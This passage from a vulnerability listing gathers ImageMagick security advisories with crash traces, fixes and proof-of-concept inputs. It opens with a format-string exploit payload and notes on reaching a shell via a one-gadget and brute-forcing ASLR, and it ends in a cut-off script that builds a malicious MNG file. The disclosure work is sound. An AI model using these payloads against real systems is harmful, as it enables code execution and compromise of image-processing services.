c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa ``` The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges. <br> **Exploitation Process:** 1. Format string payload corrupts stack pointers through positional parameters 2. Multiple 2-byte writes (%hn) progressively overwrite the return address 3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85) 4. One-gadget executes `/bin/sh` with inherited process permissions <br> **Remote Exploitation Feasibility:** While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access. <br> **Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure. **Note:** This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system. <br> ## Impact This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges. The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks. <br> ## Suggested Fix Two potential mitigation approaches: 1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString` 2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString` <br> ## Credits ### Team Daemon Fuzz Hunters **Bug Hunting Master Program, HSpace/Findthegap** <br> **Woojin Park** @jin-156 [1203kids@gmail.com](mailto:1203kids@gmail.com) **Hojun Lee** @leehohojune [leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr) **Youngin Won** @amethyst0225 [youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr) **Siyeon Han** @hanbunny [kokosyeon@gmail.com](mailto:kokosyeon@gmail.com) # Additional notes from the ImageMagick team: On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation: To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive: - In wrappers: `filename:literal` - From the command line: `-define filename:literal=true` |
Affected by 69 other vulnerabilities. |
|
VCID-rbdg-vz8x-ykah
Aliases: CVE-2026-28688 GHSA-xxw5-m53x-j38c |
ImageMagick has heap use-after-free in the MSL encoder A heap-use-after-free vulnerability exists in the MSL encoder, where a cloned image is destroyed twice. The MSL coder does not support writing MSL so the write capability has been removed. ``` SUMMARY: AddressSanitizer: heap-use-after-free MagickCore/image.c:1195 in DestroyImage Shadow bytes around the buggy address: 0x0a4e80007450: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007460: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007470: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007490: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0a4e800074a0: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd 0x0a4e800074b0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa 0x0a4e800074c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa ``` |
Affected by 1 other vulnerability. |
|
VCID-rj9n-ra1t-77dy
Aliases: CVE-2026-30929 GHSA-rqq8-jh93-f4vg |
ImageMagick has stack buffer overflow in MagnifyImage MagnifyImage uses a fixed-size stack buffer. When using a specific image it is possible to overflow this buffer and corrupt the stack. |
Affected by 1 other vulnerability. |
|
VCID-rjkf-pdny-2fhn
Aliases: CVE-2026-28494 GHSA-932h-jw47-73jm |
ImageMagick vulnerable to stack corruption through long morphology kernel names or arrays A stack buffer overflow exists in ImageMagick's morphology kernel parsing functions. User-controlled kernel strings exceeding a buffer are copied into fixed-size stack buffers via memcpy without bounds checking, resulting in stack corruption. |
Affected by 1 other vulnerability. |
|
VCID-ruf5-255v-sfdb
Aliases: CVE-2026-25576 GHSA-jv4p-gjwq-9r2j |
ImageMagick: Out of bounds read in multiple coders read raw pixel data A heap buffer over-read vulnerability exists in multiple raw image format handles. The vulnerability occurs when processing images with -extract dimensions larger than -size dimensions, causing out-of-bounds memory reads from a heap-allocated buffer. |
Affected by 18 other vulnerabilities. |
|
VCID-sd54-b8z1-2fg7
Aliases: CVE-2026-25989 GHSA-7355-pwx2-pm84 |
ImageMagick: Integer overflow or wraparound and incorrect conversion between numeric types in the internal SVG decoder A crafted SVG file can cause a denial of service. An off-by-one boundary check (`>` instead of `>=`) that allows bypass the guard and reach an undefined `(size_t)` cast. |
Affected by 18 other vulnerabilities. |
|
VCID-sd7w-6qv5-73ge
Aliases: CVE-2026-25984 GHSA-273h-m46v-96q4 |
ImageMagick: Integer Overflow in PSB (PSD v2) RLE decoding path causes heap Out of Bounds reads for 32-bit builds An integer overflow in the PSB (PSD v2) RLE decoding path causes a heap out-of-bounds read on 32-bit builds. This can lead to information disclosure or a crash when processing crafted PSB files. ``` ================================================================= ==3298==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf512eb00 at pc 0xf76760b5 bp 0xffc1dfb8 sp 0xffc1dfa8 READ of size 8 at 0xf512eb00 thread T0 #0 0xf76760b4 in ReadPSDChannelRLE coders/psd.c:1141 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-sdc2-fcap-abaz
Aliases: CVE-2026-25982 GHSA-pmq6-8289-hx3v |
ImageMagick has Heap Out-of-Bounds Read in DCM Decoder (ReadDCMImage) A heap out-of-bounds read vulnerability exists in the `coders/dcm.c` module. When processing DICOM files with a specific configuration, the decoder loop incorrectly reads bytes per iteration. This causes the function to read past the end of the allocated buffer, potentially leading to a Denial of Service (crash) or Information Disclosure (leaking heap memory into the image). |
Affected by 18 other vulnerabilities. |
|
VCID-spch-fffg-4yc5
Aliases: CVE-2025-65955 GHSA-q3hc-j9x5-mp9m |
Withdrawn Advisory: ImageMagick has a use-after-free/double-free risk in Options::fontFamily when clearing family ## Withdrawn Advisory This advisory has been withdrawn because it does not affect the ImageMagick project's NuGet packages. ### Original Description We believe that we have discovered a potential security vulnerability in ImageMagick’s Magick++ layer that manifests when `Options::fontFamily` is invoked with an empty string. **Vulnerability Details** - Clearing a font family calls `RelinquishMagickMemory` on `_drawInfo->font`, freeing the font string but leaving `_drawInfo->font` pointing to freed memory while `_drawInfo->family` is set to that (now-invalid) pointer. Any later cleanup or reuse of `_drawInfo->font` re-frees or dereferences dangling memory. - `DestroyDrawInfo` and other setters (`Options::font`, `Image::font`) assume `_drawInfo->font` remains valid, so destruction or subsequent updates trigger crashes or heap corruption. ```cpp if (family_.length() == 0) { _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font); DestroyString(RemoveImageOption(imageInfo(),"family")); } ``` - **CWE-416 (Use After Free):** `_drawInfo->font` is left dangling yet still reachable through the Options object. - **CWE-415 (Double Free):** DrawInfo teardown frees `_drawInfo->font` again, provoking allocator aborts. **Affected Versions** - Introduced by commit `6409f34d637a34a1c643632aa849371ec8b3b5a8` (“Added fontFamily to the Image class of Magick++”, 2015-08-01, blame line 313). - Present in all releases that include that commit, at least ImageMagick 7.0.1-0 and later (likely late 6.9 builds with Magick++ font family support as well). Older releases without `fontFamily` are unaffected. **Command Line Triggerability** This vulnerability cannot be triggered from the command line interface. The bug is specific to the Magick++ C++ API, specifically the `Options::fontFamily()` method. The command-line utilities (such as `convert`, `magick`, etc.) do not expose this particular code path, as they operate through different internal mechanisms that do not directly call `Options::fontFamily()` with an empty string in a way that would trigger the use-after-free condition. **Proposed Fix** ```diff diff --git a/Magick++/lib/Options.cpp b/Magick++/lib/Options.cpp @@ void Magick::Options::fontFamily(const std::string &family_) - _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font); + _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->family); ``` This frees only the actual family string, leaving `_drawInfo->font` untouched. Optionally nulling `_drawInfo->font` when clearing `font()` itself maintains allocator hygiene. | There are no reported fixed by versions. |
|
VCID-sw7g-hxxr-n3e1
Aliases: CVE-2026-28689 GHSA-493f-jh8w-qhx3 |
ImageMagick has a Path Policy TOCTOU symlink race bypass `domain="path"` authorization is checked before final file open/use. A symlink swap between check-time and use-time bypasses policy-denied read/write. |
Affected by 1 other vulnerability. |
|
VCID-tv15-dcnu-pbbn
Aliases: CVE-2026-26284 GHSA-wrhr-rf8j-r842 |
ImageMagick: Heap overflow in pcd decoder leads to out of bounds read. The pcd coder lacks proper boundary checking when processing Huffman-coded data. The decoder contains an function that has an incorrect initialization that could cause an out of bounds read. ``` ==3900053==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000003c6c at pc 0x55601b9cc552 bp 0x7ffd904b1f70 sp 0x7ffd904b1f60 READ of size 1 at 0x502000003c6c thread T0 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-utfe-h3b7-jqcj
Aliases: CVE-2026-25971 GHSA-8mpr-6xr2-chhc |
ImageMagick: MSL - Stack overflow in ProcessMSLScript ### Summary Magick fails to check for circular references between two MSLs, leading to a stack overflow. ### Details After reading a.msl using magick, the following is displayed: `MSLStartElement` -> `ReadImage` -> `ReadMSLImage` -> `ProcessMSLScript` -> `xmlParseChunk` -> `xmlParseTryOrFinish` -> `MSLStartElement` ```bash AddressSanitizer:DEADLYSIGNAL ================================================================= ==114345==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x72509fc7d804 bp 0x7ffd6598b390 sp 0x7ffd6598ab20 T0) #0 0x72509fc7d804 in strlen ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:388 [...] ``` |
Affected by 18 other vulnerabilities. |
|
VCID-uvpj-a8v5-ebgz
Aliases: CVE-2026-25969 GHSA-xgm3-v4r9-wfgm |
Image Magick has a Memory Leak in coders/ashlar.c Memory leak exists in `coders/ashlar.c`. The `WriteASHLARImage` allocates a structure. However, when an exception is thrown, the allocated memory is not properly released, resulting in a potential memory leak. ``` ```bash ==78968== Memcheck, a memory error detector ==78968== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al. ==78968== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info ==78968== ==78968== HEAP SUMMARY: ==78968== in use at exit: 17,232 bytes in 4 blocks ==78968== total heap usage: 4,781 allocs, 4,777 frees, 785,472 bytes allocated ``` |
Affected by 18 other vulnerabilities. |
|
VCID-uwj5-1fkf-7qg9
Aliases: CVE-2025-55212 GHSA-fh55-q5pj-pxgw |
ImageMagick affected by divide-by-zero in ThumbnailImage via montage -geometry ":" leads to crash ## Summary Passing a geometry string containing only a colon (":") to montage -geometry leads GetGeometry() to set width/height to 0. Later, ThumbnailImage() divides by these zero dimensions, triggering a crash (SIGFPE/abort), resulting in a denial of service. ## Details **Root Cause** 1. `montage -geometry ":" ...` reaches `MagickCore/geometry.c:GetGeometry().` 2. `StringToDouble/InterpretLocaleValue` parses `":"` as `0.0;` then: https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355 `WidthValue` (and/or `HeightValue)` is set with a zero dimension. 3. In MagickCore/resize.c:ThumbnailImage(), the code computes: https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629 causing a division by zero and immediate crash. The issue is trivially triggerable without external input files (e.g., using `xc:white`). ### Reproduction Environment ``` Version: ImageMagick 7.1.2-1 (Beta) Q16-HDRI x86_64 0ba1b587b:20250812 https://imagemagick.org Features: Cipher DPC HDRI Delegates (built-in): bzlib fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff x xml zlib Compiler: clang (14.0.0) OS/Arch: Linux x86_64 ``` Steps ``` ./bin/magick montage -geometry : xc:white null: ``` Observed result ``` IOT instruction (core dumped) # (Environment-dependent: SIGFPE/abort may be observed.) ``` ## PoC No external file required; the pseudo image xc:white suffices: ``` ./bin/magick montage -geometry : xc:white null: ``` ## Impact - **Denial of Service:** A divide-by-zero in `ThumbnailImage()` causes immediate abnormal termination (e.g., SIGFPE/abort), crashing the ImageMagick process. ## Suggested fix Defensively reject zero dimensions early in `ThumbnailImage()`: ```c if ((columns == 0) || (rows == 0)) { (void) ThrowMagickException(exception, GetMagickModule(), OptionError, "InvalidGeometry", "thumbnail requires non-zero dimensions: %.20gx%.20g", (double) columns, (double) rows); return (Image *) NULL; } ``` Additionally, consider tightening validation in `GetGeometry()` so that colon-only (and similar malformed) inputs do not yield `WidthValue/HeightValue` with zero, or are rejected outright. Variants like `"x:"` or `":x"` may also need explicit handling (maintainer confirmation requested). ## Credits ### Team Daemon Fuzz Hunters **Bug Hunting Master Program, HSpace/Findthegap** <br> **Woojin Park** @jin-156 [1203kids@gmail.com](mailto:1203kids@gmail.com) **Hojun Lee** @leehohojune [leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr) **Youngin Won** @amethyst0225 [youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr) **Siyeon Han** @hanbunny [kokosyeon@gmail.com](mailto:kokosyeon@gmail.com) |
Affected by 69 other vulnerabilities. |
|
VCID-vaks-d4k5-zue7
Aliases: CVE-2026-23874 GHSA-9vj4-wc7r-p844 |
ImageMagick MSL: Stack overflow via infinite recursion in ProcessMSLScript ## Summary Stack overflow via infinite recursion in MSL (Magick Scripting Language) `<write>` command when writing to MSL format. ## Version - ImageMagick 7.x (tested on current main branch) - Commit: HEAD - Requires: libxml2 support (for MSL parsing) ## Steps to Reproduce ### Method 1: Using ImageMagick directly ```bash magick MSL:recursive.msl out.png ``` ### Method 2: Using OSS-Fuzz reproduce ```bash python3 infra/helper.py build_fuzzers imagemagick python3 infra/helper.py reproduce imagemagick msl_fuzzer recursive.msl ``` Or run the fuzzer directly: ```bash ./msl_fuzzer recursive.msl ``` ## Expected Behavior ImageMagick should handle recursive MSL references gracefully by detecting the loop and returning an error. ## Actual Behavior Stack overflow causes process crash: ``` AddressSanitizer:DEADLYSIGNAL ==PID==ERROR: AddressSanitizer: stack-overflow #0 MSLStartElement /src/imagemagick/coders/msl.c:7045 #1 xmlParseStartTag /src/libxml2/parser.c #2 xmlParseChunk /src/libxml2/parser.c:11273 #3 ProcessMSLScript /src/imagemagick/coders/msl.c:7405 #4 WriteMSLImage /src/imagemagick/coders/msl.c:7867 #5 WriteImage /src/imagemagick/MagickCore/constitute.c:1346 #6 MSLStartElement /src/imagemagick/coders/msl.c:7045 ... (infinite recursion, 287+ frames) ``` ## Root Cause Analysis In `coders/msl.c`, the `<write>` command handler in `MSLStartElement()` (line ~7045) calls `WriteImage()`. When the output filename specifies MSL format (`msl:filename`), `WriteMSLImage()` is called, which parses the MSL file again via `ProcessMSLScript()`. If the MSL file references itself (directly or indirectly), this creates an infinite recursion loop: ``` MSLStartElement() → WriteImage() → WriteMSLImage() → ProcessMSLScript() → xmlParseChunk() → MSLStartElement() → ... (infinite loop) ``` ## Impact - **DoS**: Guaranteed crash via stack exhaustion - **Affected**: Any application using ImageMagick to process user-supplied MSL files ## Additional Trigger Paths The `<read>` command can also trigger recursion: Indirect recursion is also possible (a.msl → b.msl → a.msl). ## Fuzzer This issue was discovered using a custom MSL fuzzer: ```cpp #include <cstdint> #include <Magick++/Blob.h> #include <Magick++/Image.h> #include "utils.cc" extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if (IsInvalidSize(Size)) return(0); try { const Magick::Blob blob(Data, Size); Magick::Image image; image.magick("MSL"); image.fileName("MSL:"); image.read(blob); } catch (Magick::Exception) { } return(0); } ``` This issue was found by Team FuzzingBrain @ Texas A&M University |
Affected by 60 other vulnerabilities. |
|
VCID-vbdt-31wd-v3h8
Aliases: CVE-2025-55004 GHSA-cjc8-g9w8-chfw |
imagemagick: heap-buffer overflow read in MNG magnification with alpha ## **Vulnerability Details** When performing image magnification in `ReadOneMNGIMage` (in `coders/png.c`), there is an issue around the handling of images with separate alpha channels. When loading an image with a color type that implies a separate alpha channel (ie. `jng_color_type >= 12`), we will load the alpha pixels in this loop: ```c if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Reading alpha from alpha_blob."); jng_image=ReadImage(alpha_image_info,exception); if (jng_image != (Image *) NULL) for (y=0; y < (ssize_t) image->rows; y++) { s=GetVirtualPixels(jng_image,0,y,image->columns,1,exception); q=GetAuthenticPixels(image,0,y,image->columns,1,exception); // [0] if ((s == (const Quantum *) NULL) || (q == (Quantum *) NULL)) break; if (image->alpha_trait != UndefinedPixelTrait) for (x=(ssize_t) image->columns; x != 0; x--) { SetPixelAlpha(image,GetPixelRed(jng_image,s),q); q+=(ptrdiff_t) GetPixelChannels(image); s+=(ptrdiff_t) GetPixelChannels(jng_image); } else for (x=(ssize_t) image->columns; x != 0; x--) { Quantum alpha; alpha=GetPixelRed(jng_image,s); SetPixelAlpha(image,alpha,q); if (alpha != OpaqueAlpha) image->alpha_trait=BlendPixelTrait; // [1] q+=(ptrdiff_t) GetPixelChannels(image); s+=(ptrdiff_t) GetPixelChannels(jng_image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } ``` Note that at \[1\] we update `image->alpha_trait`, but if our alpha image only contains non-opaque pixels in the last row, we do not call `GetAuthenticPixels` (at \[0\]) after this change has been made. The next call to `GetAuthenticPixels` will then call down into `ResetPixelChannelMap` which adds the new alpha channel to the image channel mappings and metadata. If we then pass this image into the `MAGN` chunk type, we can see that at \[2\] we calculate the sizes for intermediate buffers `next` and `prev`, before calling `GetAuthenticPixels` at \[4\]. After the call at \[4\], the `image->num_channels` has increased to include the new alpha channel, and now `length` and the previously allocated `next` and `prev` buffers are too small. Fortunately `length` is always used when copying into the buffers, but when reading pixels from the buffers, we call `GetPixelXXX` which assumes the layout of the current image, which requires a larger allocation. The pixel copying loop will subsequently read beyond the end of the allocation at \[5\]. ```c /* magnify the rows into the right side of the large image */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g", (double) large_image->rows); m=(ssize_t) mng_info->magn_mt; yy=0; length=(size_t) GetPixelChannels(image)*image->columns; // [2] next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next)); prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev)); if ((prev == (Quantum *) NULL) || (next == (Quantum *) NULL)) { if (prev != (Quantum *) NULL) prev=(Quantum *) RelinquishMagickMemory(prev); if (next != (Quantum *) NULL) next=(Quantum *) RelinquishMagickMemory(next); image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } n=GetAuthenticPixels(image,0,0,image->columns,1,exception); // [4] (void) memcpy(next,n,length); for (y=0; y < (ssize_t) image->rows; y++) { if (y == 0) m=(ssize_t) mng_info->magn_mt; else if (magn_methy > 1 && y == (ssize_t) image->rows-2) m=(ssize_t) mng_info->magn_mb; else if (magn_methy <= 1 && y == (ssize_t) image->rows-1) m=(ssize_t) mng_info->magn_mb; else if (magn_methy > 1 && y == (ssize_t) image->rows-1) m=1; else m=(ssize_t) mng_info->magn_my; n=prev; prev=next; next=n; if (y < (ssize_t) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) memcpy(next,n,length); } for (i=0; i < m; i++, yy++) { Quantum *pixels; assert(yy < (ssize_t) large_image->rows); pixels=prev; n=next; q=GetAuthenticPixels(large_image,0,yy,large_image->columns, 1,exception); if (q == (Quantum *) NULL) break; q+=(ptrdiff_t) (large_image->columns-image->columns)* GetPixelChannels(large_image); for (x=(ssize_t) image->columns-1; x >= 0; x--) { /* To do: get color as function of indexes[x] */ /* if (image->storage_class == PseudoClass) { } */ if (magn_methy <= 1) { /* replicate previous */ SetPixelRed(large_image,GetPixelRed(image,pixels),q); // [5] SetPixelGreen(large_image,GetPixelGreen(image, pixels),q); SetPixelBlue(large_image,GetPixelBlue(image, pixels),q); SetPixelAlpha(large_image,GetPixelAlpha(image, pixels),q); } ``` This can likely be used to leak subsequent memory contents into the output image. The attached proof-of-concept triggers this issue and is not blocked by any of the default security policies. ## **Affected Version(s)** The issue has been successfully reproduced: - at commit `3e37a7f15fcb1aa80e6beae3898e684309c2ecbe` - in stable release `7.1.2-0` ### **Build Instructions** ```shell git clone https://github.com/imagemagick/imagemagick cd imagemagick export CC=clang export CXX=clang++ export CFLAGS="-fsanitize=address -O0 -ggdb" export CXXFLAGS="-fsanitize=address -O0 -ggdb" export LDFLAGS="-fsanitize=address -O0 -ggdb" ./configure --disable-shared --disable-docs --with-jxl make -j ``` ## **Reproduction** ### **Test Case** This testcase is a python script that will generate an MNG file which can be used to trigger the vulnerability. ``` import struct import zlib def chunk(tag, data): crc = zlib.crc32(tag + data) & 0xffffffff return struct.pack('>I', len(data)) + tag + data + struct.pack('>I', crc) # Simple 128x1 RGB jpeg jpeg = bytes([ 0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x01, 0x2c, 0x01, 0x2c, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x43, 0x00, 0x03, 0x02, 0x02, 0x03, 0x02, 0x02, 0x03, 0x03, 0x03, 0x03, 0x04, 0x03, 0x03, 0x04, 0x05, 0x08, 0x05, 0x05, 0x04, 0x04, 0x05, 0x0a, 0x07, 0x07, 0x06, 0x08, 0x0c, 0x0a, 0x0c, 0x0c, 0x0b, 0x0a, 0x0b, 0x0b, 0x0d, 0x0e, 0x12, 0x10, 0x0d, 0x0e, 0x11, 0x0e, 0x0b, 0x0b, 0x10, 0x16, 0x10, 0x11, 0x13, 0x14, 0x15, 0x15, 0x15, 0x0c, 0x0f, 0x17, 0x18, 0x16, 0x14, 0x18, 0x12, 0x14, 0x15, 0x14, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x03, 0x04, 0x04, 0x05, 0x04, 0x05, 0x09, 0x05, 0x05, 0x09, 0x14, 0x0d, 0x0b, 0x0d, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x80, 0x03, 0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xff, 0xc4, 0x00, 0x15, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xff, 0xc4, 0x00, 0x14, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xda, 0x00, 0x0c, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3f, 0x00, 0xaa, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xd9 ]) # MNG File Construction mng_sig = b'\x8aMNG\r\n\x1a\n' mhdr_data = struct.pack('>IIIIIII', 1, 1, 1, 0, 0, 0, 0) mhdr_chunk = 